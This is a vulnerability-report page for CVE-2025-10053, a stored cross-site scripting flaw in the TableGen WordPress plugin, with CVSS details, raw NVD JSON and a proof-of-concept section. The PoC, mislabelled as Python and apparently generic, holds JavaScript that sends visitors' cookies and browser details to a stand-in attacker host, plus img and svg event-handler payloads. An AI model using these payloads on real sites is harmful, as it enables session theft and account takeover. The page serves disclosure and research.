Security Vulnerability Report
中文
CVE-2025-10053 CVSS 4.4 MEDIUM

CVE-2025-10053

Published: 2025-10-03 12:15:42
Last Modified: 2026-04-15 00:35:42

Description

The TableGen – Data Table Generator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

TableGen – Data Table Generator <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-10053: TableGen Plugin Stored XSS PoC --> <!-- This PoC demonstrates how an authenticated administrator can inject malicious scripts --> <!-- through the TableGen plugin's admin settings page --> <!-- Step 1: Authenticate as administrator and navigate to TableGen settings page --> <!-- URL: /wp-admin/admin.php?page=tablegen-settings --> <!-- Step 2: Inject malicious JavaScript payload into a vulnerable settings field --> <!-- Example: Inject into table title or description field --> <script> // Malicious payload that will be stored and executed when other users view the page // Example payload: Cookie stealing var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + document.cookie + '&url=' + document.location.href; // Example payload: Session hijacking fetch('https://attacker-server.com/collect', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, url: window.location.href, userAgent: navigator.userAgent }), headers: {'Content-Type': 'application/json'} }); // Example payload: Privilege escalation / backdoor creation // This could create a new admin user or modify existing user roles </script> <!-- Alternative payload using event handlers (if input is reflected in attributes) --> <img src=x onerror="alert(document.cookie)"> <!-- Alternative payload using SVG --> <svg onload="alert('XSS')"> <!-- Step 3: Submit the form - the malicious payload is now stored in the database --> <!-- Step 4: When any user visits the affected page, the stored XSS will execute automatically -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10053", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:41.550", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The TableGen – Data Table Generator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/table-creator/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8bea21d9-26d1-49a5-a130-26d99818d4d3?source=cve", "source": "[email protected]"}]}}